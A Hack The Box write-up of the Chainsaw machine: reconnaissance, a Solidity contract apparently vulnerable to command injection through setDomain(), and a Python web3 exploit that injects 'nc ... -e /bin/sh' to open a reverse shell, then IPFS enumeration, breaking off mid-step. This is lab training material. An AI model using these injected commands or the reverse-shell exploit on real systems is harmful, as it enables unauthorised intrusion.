Hack The Box - Chainsaw

Quick Summary

Hey guys, today Chainsaw retired and here’s my write-up about it. It was a great machine with vulnerable smart contracts and other fun stuff. I enjoyed it and I learned a lot while solving it. It’s a Linux box and its ip is 10.10.10.142 , I added it to /etc/hosts as chainsaw.htb . Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -sV -sT -sC -o nmapinitial chainsaw.htb

Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 18:34 EET

Nmap scan report for chainsaw.htb (10.10.10.142)

Host is up (1.2s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json

| -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol

|_-rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt

| ftp-syst:

| STAT:

| FTP server status:

| Connected to ::ffff:10.10.xx.xx

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| At session startup, client count was 5

| vsFTPd 3.0.3 - secure, fast, stable

|_End of status

22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA)

| 256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA)

|_ 256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 394.56 seconds

root@kali:~/Desktop/HTB/boxes/chainsaw#



We got ssh on port 22 and ftp on port 21.

FTP

Anonymous authentication was allowed on the ftp server, so let’s check what’s in there:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

root@kali:~/Desktop/HTB/boxes/chainsaw# ftp chainsaw.htb

Connected to chainsaw.htb.

220 (vsFTPd 3.0.3)

Name (chainsaw.htb:root): anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

-rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json

-rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol

-rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt

226 Directory send OK.

ftp> mget *

mget WeaponizedPing.json? y

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for WeaponizedPing.json (23828 bytes).

226 Transfer complete.

23828 bytes received in 0.26 secs (88.2424 kB/s)

mget WeaponizedPing.sol? y

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for WeaponizedPing.sol (243 bytes).

226 Transfer complete.

243 bytes received in 0.00 secs (2.3174 MB/s)

mget address.txt? y

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for address.txt (44 bytes).

226 Transfer complete.

44 bytes received in 0.00 secs (421.2623 kB/s)

ftp> exit

221 Goodbye.

root@kali:~/Desktop/HTB/boxes/chainsaw#



WeaponizedPing.sol :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

pragma solidity ^ 0.4 .24 ;



contract WeaponizedPing

{

string store = "google.com" ;



function getDomain () public view returns (string)

{

return store;

}



function setDomain (string _value) public

{

store = _value;

}

}



WeaponizedPing.json :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

{

"contractName" : "WeaponizedPing" ,

"abi" : [

{

"constant" : true ,

"inputs" : [],

"name" : "getDomain" ,

"outputs" : [

{

"name" : "" ,

"type" : "string"

}

],

"payable" : false ,

"stateMutability" : "view" ,

"type" : "function"

},

{

"constant" : false ,

"inputs" : [

{

"name" : "_value" ,

"type" : "string"

}

],

"name" : "setDomain" ,

"outputs" : [],

"payable" : false ,

"stateMutability" : "nonpayable" ,

"type" : "function"

}

],

"bytecode" : "0x60806040526040805190810160405280600a81526020017f676f6f676c652e636f6d000000000000000000000000000000000000000000008152506000908051906020019061004f929190610062565b5034801561005c57600080fd5b50610107565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100a357805160ff19168380011785556100d1565b828001600101855582156100d1579182015b828111156100d05782518255916020019190600101906100b5565b5b5090506100de91906100e2565b5090565b61010491905b808211156101005760008160009055506001016100e8565b5090565b90565b6102d7806101166000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b68d180914610051578063e5eab096146100e1575b600080fd5b34801561005d57600080fd5b5061006661014a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a657808201518184015260208101905061008b565b50505050905090810190601f1680156100d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100ed57600080fd5b50610148600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506101ec565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101e25780601f106101b7576101008083540402835291602001916101e2565b820191906000526020600020905b8154815290600101906020018083116101c557829003601f168201915b5050505050905090565b8060009080519060200190610202929190610206565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061024757805160ff1916838001178555610275565b82800160010185558215610275579182015b82811115610274578251825591602001919060010190610259565b5b5090506102829190610286565b5090565b6102a891905b808211156102a457600081600090555060010161028c565b5090565b905600a165627a7a72305820d5d4d99bdb5542d8d65ef822d8a98c80911c2c3f15d609d10003ccf4227858660029" ,

"deployedBytecode" : "0x60806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b68d180914610051578063e5eab096146100e1575b600080fd5b34801561005d57600080fd5b5061006661014a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a657808201518184015260208101905061008b565b50505050905090810190601f1680156100d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100ed57600080fd5b50610148600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506101ec565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101e25780601f106101b7576101008083540402835291602001916101e2565b820191906000526020600020905b8154815290600101906020018083116101c557829003601f168201915b5050505050905090565b8060009080519060200190610202929190610206565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061024757805160ff1916838001178555610275565b82800160010185558215610275579182015b82811115610274578251825591602001919060010190610259565b5b5090506102829190610286565b5090565b6102a891905b808211156102a457600081600090555060010161028c565b5090565b905600a165627a7a72305820d5d4d99bdb5542d8d65ef822d8a98c80911c2c3f15d609d10003ccf4227858660029" ,

"sourceMap" : "27:210:1:-;;;56:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;27:210;8:9:-1;5:2;;;30:1;27;20:12;5:2;27:210:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;:::-;;;;;;;" ,

"deployedSourceMap" : "27:210:1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;;8:9:-1;5:2;;;30:1;27;20:12;5:2;88:75:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;88:75:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;166:68;;8:9:-1;5:2;;;30:1;27;20:12;5:2;166:68:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;130:6;153:5;146:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;:::o;166:68::-;223:6;215:5;:14;;;;;;;;;;;;:::i;:::-;;166:68;:::o;27:210::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o" ,

"source" : "pragma solidity ^0.4.24;





contract WeaponizedPing {



string store = \"google.com\";



function getDomain() public view returns (string) {

return store;

}

function setDomain(string _value) public {

store = _value;

}



}



" ,

"sourcePath" : "/opt/WeaponizedPing/WeaponizedPing.sol" ,

"ast" : {

"absolutePath" : "/opt/WeaponizedPing/WeaponizedPing.sol" ,

"exportedSymbols" : {

"WeaponizedPing" : [

80

]

},

----------

Redacted

----------

"networks": {

"1543936419890": {

"events": {},

"links": {},

"address": "0xaf6ce61d342b48cc992820a154fe0f533e5e487c",

"transactionHash": "0x5e94c662f1048fca58c07e16506f1636391f757b07c1b6bb6fbb4380769e99e1"

}

},

"schemaVersion": "2.0.1",

"updatedAt": "2018-12-04T15:24:57.205Z"

}



address.txt :

1

0x479C21df57F2deaB052C466E4de7E82539F6A988



WeaponizedPing: Analysis

WeaponizedPing is a smart contract. smart contracts are written in a language called solidity.

The contract has a variable called store which holds the value google.com by default:

1

string store = "google.com" ;



There are two functions, getDomain() which returns the value of store :

1

2

3

4

function getDomain () public view returns (string)

{

return store;

}



And setDomain() which takes a string and changes the value of store from whatever it was to that string:

1

2

3

4

function setDomain (string _value) public

{

store = _value;

}



From the name of the contract ( WeaponizedPing ), I assumed that ping gets executed on store . We can control store by calling setDomain() , if the ping command doesn’t get filtered we’ll be able to inject commands and get RCE . However to do all of that we need to be able to interact with the contract in the first place.

WeaponizedPing: Interaction

Assuming that the contract is deployed on a publicly exposed ethereum node, I ran a full nmap scan to find the port on which the server is running:

1

2

3

4

5

6

7

8

9

10

11

12

root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -p- -T5 chainsaw.htb --max-retries 1 -o nmapfull

Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:08 EET

Nmap scan report for chainsaw.htb (10.10.10.142)

Host is up (2.8s latency).

Not shown: 37555 closed ports, 27977 filtered ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

9810/tcp open unknown



Nmap done: 1 IP address (1 host up) scanned in 674.00 seconds

root@kali:~/Desktop/HTB/boxes/chainsaw#



I found another open port (9810), I ran a service scan on that port:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -p 9810 -sV -sT -sC -o nmap9810 chainsaw.htb

Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:24 EET

Nmap scan report for chainsaw.htb (10.10.10.142)

Host is up (1.7s latency).



PORT STATE SERVICE VERSION

9810/tcp open unknown

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 400 Bad Request

| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent

| Access-Control-Allow-Origin: *

| Access-Control-Allow-Methods: *

| Content-Type: text/plain

| Date: Fri, 22 Nov 2019 17:25:01 GMT

| Connection: close

| Request

| GetRequest:

| HTTP/1.1 400 Bad Request

| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent

| Access-Control-Allow-Origin: *

| Access-Control-Allow-Methods: *

| Content-Type: text/plain

| Date: Fri, 22 Nov 2019 17:24:27 GMT

| Connection: close

| Request

| HTTPOptions:

| HTTP/1.1 200 OK

| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent

| Access-Control-Allow-Origin: *

| Access-Control-Allow-Methods: *

| Content-Type: text/plain

| Date: Fri, 22 Nov 2019 17:24:30 GMT

|_ Connection: close

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

SF-Port9810-TCP:V=7.70%I=7%D=11/22%Time=5DD819CA%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Request\r

Access-Control-All

SF:ow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Type,\x20Accept,

SF:\x20User-Agent\r

Access-Control-Allow-Origin:\x20\*\r

Access-Control-

SF:Allow-Methods:\x20\*\r

Content-Type:\x20text/plain\r

Date:\x20Fri,\x2

SF:022\x20Nov\x202019\x2017:24:27\x20GMT\r

Connection:\x20close\r

\r

40

SF:0\x20Bad\x20Request")%r(HTTPOptions,100,"HTTP/1\.1\x20200\x20OK\r

Acce

SF:ss-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Ty

SF:pe,\x20Accept,\x20User-Agent\r

Access-Control-Allow-Origin:\x20\*\r

A

SF:ccess-Control-Allow-Methods:\x20\*\r

Content-Type:\x20text/plain\r

Da

SF:te:\x20Fri,\x2022\x20Nov\x202019\x2017:24:30\x20GMT\r

Connection:\x20c

SF:lose\r

\r

")%r(FourOhFourRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Requ

SF:est\r

Access-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x2

SF:0Content-Type,\x20Accept,\x20User-Agent\r

Access-Control-Allow-Origin:

SF:\x20\*\r

Access-Control-Allow-Methods:\x20\*\r

Content-Type:\x20text/

SF:plain\r

Date:\x20Fri,\x2022\x20Nov\x202019\x2017:25:01\x20GMT\r

Conne

SF:ction:\x20close\r

\r

400\x20Bad\x20Request");



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .



Nmap done: 1 IP address (1 host up) scanned in 90.55 seconds

root@kali:~/Desktop/HTB/boxes/chainsaw#



It responded to HTTP requests which means that the JSON-RPC server is HTTP based.

There are a lot of ways to interact with ethereum smart contracts, I used web3 python library. (A great reference)

I imported Web3 and eth :

1

from web3 import Web3, eth



Then I created a new web3 connection to http://chainsaw.htb:9810 and saved it in a variable called w3 :

1

w3 = Web3(Web3.HTTPProvider( 'http://chainsaw.htb:9810' ))



To interact with the smart contract we need two things:

The address of the contract: we got the address earlier from the ftp server (Note: that address changes everytime the box is reset).

server (Note: that address changes everytime the box is reset). The ABI (Application Binary Interface) of the contract: We can get it from the contract source.

To get the ABI I used the solidity IDE to compile the contract then I clicked on “Details” and copied the ABI :



I saved it in a file ( ABI.txt ) then I executed echo -n on cat ABI.txt to make it a single line:

1

2

3

root@kali:~/Desktop/HTB/boxes/chainsaw# echo -n `cat ABI.txt`

[ { "constant": true, "inputs": [], "name": "getDomain", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setDomain", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" } ]

root@kali:~/Desktop/HTB/boxes/chainsaw#



I saved the ABI and the address in variables:

1

2

abi = json.loads( '[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]' )

address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"



Then I finally created the contract representation and saved it in the variable contract :

1

contract = w3.eth.contract(address=address, abi=abi)



By using the functions property we can call any function that the contract has, let’s call the function getDomain() :

1

print(contract.functions.getDomain().call())



Final test.py looks like this:

1

2

3

4

5

6

7

8

9



import json

from web3 import Web3, eth



w3 = Web3(Web3.HTTPProvider( 'http://chainsaw.htb:9810' ))

abi = json.loads( '[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]' )

address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"

contract = w3.eth.contract(address=address, abi=abi)

print(contract.functions.getDomain().call())



Let’s run it:

1

2

3

root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py

google.com

root@kali:~/Desktop/HTB/boxes/chainsaw#



It’s working fine, let’s try to change the domain by using setDomain() :

1

contract.functions.setDomain( "test" ).transact()



Note: When passing arguments to functions we have to use transact() instead of call() , to use transact() we need an account, that’s why I added this line:

1

w3.eth.defaultAccount = w3.eth.accounts[ 0 ]



test.py :

1

2

3

4

5

6

7

8

9

10

11



import json

from web3 import Web3, eth



w3 = Web3(Web3.HTTPProvider( 'http://chainsaw.htb:9810' ))

w3.eth.defaultAccount = w3.eth.accounts[ 0 ]

abi = json.loads( '[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]' )

address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"

contract = w3.eth.contract(address=address, abi=abi)

contract.functions.setDomain( "test" ).transact()

print(contract.functions.getDomain().call())



1

2

3

root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py

test

root@kali:~/Desktop/HTB/boxes/chainsaw#



Great, now for the exploitation part.

WeaponizedPing: Exploitation

Let’s try to inject commands in the domain name and see if it’ll work, I injected a curl command and I ran a python server on port 80:

1

contract.functions.setDomain( "test; curl http://10.10.xx.xx/" ).transact()



test.py :

1

2

3

4

5

6

7

8

9

10

11



import json

from web3 import Web3, eth



w3 = Web3(Web3.HTTPProvider( 'http://chainsaw.htb:9810' ))

w3.eth.defaultAccount = w3.eth.accounts[ 0 ]

abi = json.loads( '[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]' )

address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"

contract = w3.eth.contract(address=address, abi=abi)

contract.functions.setDomain( "test; curl http://10.10.xx.xx/" ).transact()

print(contract.functions.getDomain().call())



1

2

3

root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py

test; curl http://10.10.xx.xx/

root@kali:~/Desktop/HTB/boxes/chainsaw#



After a few seconds I got a request:

1

2

3

root@kali:~/Desktop/HTB/boxes/chainsaw# python -m SimpleHTTPServer 80

Serving HTTP on 0.0.0.0 port 80 ...

10.10.10.142 - - [22/Nov/2019 20:59:23] "GET / HTTP/1.1" 200 -



Based on these tests I wrote this small exploit:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35



import json

from web3 import Web3, eth

from sys import argv



YELLOW = "\033[93m"

GREEN = "\033[32m"



def exploit (address, ip, port) :

print(YELLOW + "[+] Starting" )

print(YELLOW + "[+] Connecting to chainsaw.htb:9810" )

w3 = Web3(Web3.HTTPProvider( 'http://chainsaw.htb:9810' ))

print(GREEN + "[*] Connection Established" )

w3.eth.defaultAccount = w3.eth.accounts[ 0 ]

print(YELLOW + "[+] Creating the contract representation" )

print(YELLOW + "[+] Address: {}" .format(address))

abi = json.loads( '[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]' )

contract = w3.eth.contract(address=address, abi=abi)

print(GREEN + "[*] Done" )

print(YELLOW + "[+] Injecting Reverse Shell:" )

print(YELLOW + " [!] IP: {}" .format(ip))

print(YELLOW + " [!] PORT: {}" .format(port))

contract.functions.setDomain( "pwn3d;nc {} {} -e /bin/sh" .format(ip,port)).transact()

print(GREEN + "[*] Domain Changed Successfully, New Value: " + contract.functions.getDomain().call())

print(GREEN + "[*] Now wait for your reverse shell, Exiting..." )

exit()



if len(argv) != 4 or argv[ 1 ] == "-h" :

print(YELLOW + "[!] Usage: {} [contract address] [ip] [port]" .format(argv[ 0 ]))

exit()

else :

address = argv[ 1 ]

ip = argv[ 2 ]

port = argv[ 3 ]

exploit(address, ip, port)



I listened on port 1337 and ran the exploit:

1

2

3

4

5

6

7

8

9

10

11

12

13

root@kali:~/Desktop/HTB/boxes/chainsaw# ./exploit.py 0x479C21df57F2deaB052C466E4de7E82539F6A988 10.10.xx.xx 1337

[+] Starting

[+] Connecting to chainsaw.htb:9810

[*] Connection Established

[+] Creating the contract representation

[+] Address: 0x479C21df57F2deaB052C466E4de7E82539F6A988

[*] Done

[+] Injecting Reverse Shell:

[!] IP: 10.10.xx.xx

[!] PORT: 1337

[*] Domain Changed Successfully, New Value: pwn3d;nc 10.10.xx.xx 1337 -e /bin/sh

[*] Now wait for your reverse shell, Exiting...

root@kali:~/Desktop/HTB/boxes/chainsaw#



And I got a shell immediately as a user called administrator :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

root@kali:~/Desktop/HTB/boxes/chainsaw# nc -lvnp 1337

Ncat: Version 7.70 ( https://nmap.org/ncat )

Ncat: Listening on :::1337

Ncat: Listening on 0.0.0.0:1337

Ncat: Connection from 10.10.10.142.

Ncat: Connection from 10.10.10.142:49262.

whoami

administrator

which python

/usr/bin/python

python -c "import pty;pty.spawn('/bin/bash')"

administrator@chainsaw:/opt/WeaponizedPing$ ^Z

[1]+ Stopped nc -lvnp 1337

root@kali:~/Desktop/HTB/boxes/chainsaw# stty raw -echo

root@kali:~/Desktop/HTB/boxes/chainsaw# nc -lvnp 1337



administrator@chainsaw:/opt/WeaponizedPing$ export TERM=screen

administrator@chainsaw:/opt/WeaponizedPing$



ipfs –> SSH as bobby –> User Flag

There were 2 users on the box, administrator and bobby :

1

2

3

4

5

6

7

8

administrator@chainsaw:/opt/WeaponizedPing$ cd /home

administrator@chainsaw:/home$ ls -al

total 16

drwxr-xr-x 4 root root 4096 Dec 12 2018 .

drwxr-xr-x 25 root root 4096 Dec 20 2018 ..

drwxr-x--- 8 administrator administrator 4096 Dec 20 2018 administrator

drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 bobby

administrator@chainsaw:/home$



administrator had no permission to access bobby ‘s home directory:

1

2

3

administrator@chainsaw:/home$ cd bobby/

bash: cd: bobby/: Permission denied

administrator@chainsaw:/home$



In administrator ‘s home directory I noticed a directory called .ipfs :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

administrator@chainsaw:/home$ cd administrator/

administrator@chainsaw:/home/administrator$ ls -la

total 104

drwxr-x--- 8 administrator administrator 4096 Dec 20 2018 .

drwxr-xr-x 4 root root 4096 Dec 12 2018 ..

lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .bash_history -> /dev/null

-rw-r----- 1 administrator administrator 220 Dec 12 2018 .bash_logout

-rw-r----- 1 administrator administrator 3771 Dec 12 2018 .bashrc

-rw-r----- 1 administrator administrator 220 Dec 20 2018 chainsaw-emp.csv

drwxrwxr-x 5 administrator administrator 4096 Jan 23 2019 .ipfs

drwxr-x--- 3 administrator administrator 4096 Dec 12 2018 .local

drwxr-x--- 3 administrator administrator 4096 Dec 13 2018 maintain

drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ngrok2

-rw-r----- 1 administrator administrator 807 Dec 12 2018 .profile

drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ssh

drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .swt

-rw-r----- 1 administrator administrator 1739 Dec 12 2018 .tmux.conf

-rw-r----- 1 administrator administrator 45152 Dec 12 2018 .zcompdump

lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .zsh_history -> /dev/null

-rw-r----- 1 administrator administrator 1295 Dec 12 2018 .zshrc

administrator@chainsaw:/home/administrator$



The InterPlanetary File System (IPFS) is a protocol and peer-to-peer network for storing and sharing data in a distributed file system. IPFS uses content-addressing to uniquely identify each file in a global namespace connecting all computing devices. -Wikipedia

Take a look at the cli documentation.

I used ip refs local to list the local references:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

administrator@chainsaw:/home/administrator$ ipfs refs local

QmYCvbfNbCwFR45HiNP45rwJgvatpiW38D961L5qAhUM5Y

QmPctBY8tq2TpPufHuQUbe2sCxoy2wD5YRB6kdce35ZwAx

QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB

QmdL9t1YP99v4a2wyXFYAQJtbD9zKnPrugFLQWXBXb82sn

QmSKboVigcD3AY4kLsob117KJcMHvMUu6vNFqk1PQzYUpp

QmUHHbX4N8tUNyXFK9jNfgpFFddGgpn72CF1JyNnZNeVVn

QmegE6RZe59xf1TyDdhhcNnMrsevsfuJHUynLuRc4yf6V1

QmWSLAHhiNVRMFMv4bnE7fqq9E74RtXTRm9E1QVo37GV9t

QmPjsarLFBcY8seiv3rpUZ2aTyauPF3Xu3kQm56iD6mdcq

QmZrd1ik8Z2F5iSZPDA2cZSmaZkHFEE4jZ3MiQTDKHAiri

QmdfTbBqBPQ7VNxZEYEj14VmRuZBkqFbiwReogJgS1zR1n

QmfRZWFfaugHeY5gcgNDrnRkxhPT3epmHodryPYK3it6kk

QmZTR5bcpQD7cFgTorqxZDYaew1Wqgfbd2ud9QqGPAkK2V

QmejvEPop4D7YUadeGqYWmZxHhLc4JBUCzJJHWMzdcMe2y

QmbkQxbErC7KSWzSQw2FC13LUm9Rbo2XjeFQZbcmdarpuz

QmPpsT37SpTbZkAeMz7LXiJ8nQseBNziGBzpW1YtM67qx6

QmXWS8VFBxJPsxhF8KEqN1VpZf52DPhLswcXpxEDzF5DWC

QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF

QmZxzK6gXioAUH9a68ojwkos8EaeANnicBJNA3TND4Sizp

Qmb7oGTxge7amSArtJsGUAqswY8y1G7m5QNjV57Nj5sEHU

QmS4ustL54uo8FzR9455qaxZwuMiUhyvMcX9Ba8nUH4uVv

QmXymZCHdTHz5BA5ugv9MQTBtQAb6Vit4iFeEnuRj6Udrh

QmUNLLsPACCz1vLxQVkXqqLX5R1X345qqfHbsf67hvA3Nn

Qma6kDKzUzFioo62v4LZaNsrwmCojF9AqwLaQJubRFnsAa

QmXwXzVYKgYZEXU1dgCKeejT87Knw9nydGcuUZrjwNb2Me

QmXgqKTbzdh83pQtKFb19SpMCpDDcKR2ujqk3pKph9aCNF

QmYn3NxLLYA6xU2XL1QJfCZec4B7MpFNxVVtDvqbiZCFG8

QmWMuEvh2tGJ1DiNPPoN6rXme2jMYUixjxsC6QUji8mop8

QmY5heUM5qgRubMDD1og9fhCPA6QdkMp3QCwd4s7gJsyE7

QmQ5vhrL7uv6tuoN9KeVBwd4PwfQkXdVVmDLUZuTNxqgvm

QmZMUdskS6vK8ycBiAffrYAE4wUDuWX9eK7kNgQqPCGbwF

QmPC3ZbrMeZ8BpstpNseNV4fCRL4QDzUKrSv8EHkarbn7r

QmPhk6cJkRcFfZCdYam4c9MKYjFG9V29LswUnbrFNhtk2S

QmSyJKw6U6NaXupYqMLbEbpCdsaYR5qiNGRHjLKcmZV17r

QmZZRTyhDpL5Jgift1cHbAhexeE1m2Hw8x8g7rTcPahDvo

QmUH2FceqvTSAvn6oqm8M49TNDqowktkEx4LgpBx746HRS

QmcMCDdN1qDaa2vaN654nA4Jzr6Zv9yGSBjKPk26iFJJ4M

QmPZ9gcCEpqKTo6aq61g2nXGUhM4iCL3ewB6LDXZCtioEB

Qmc7rLAhEh17UpguAsEyS4yfmAbeqSeSEz4mZZRNcW52vV

administrator@chainsaw:/home/administrator$



I used ipfs ls on every hash to list the contents, most of them were empty or useless except for this one which had some email messages:

1

2

3

4

5

6

7

administrator@chainsaw:/home/administrator$ ipfs ls QmZrd1ik8Z2F5iSZPDA2cZSmaZkHFEE4jZ3MiQTDKHAiri

QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB 10063 artichain600-protonmail-2018-12-13T20_50_58+01_00.eml

QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF 4640 bobbyaxelrod600-protonmail-2018-12-13-T20_28_54+01_00.eml

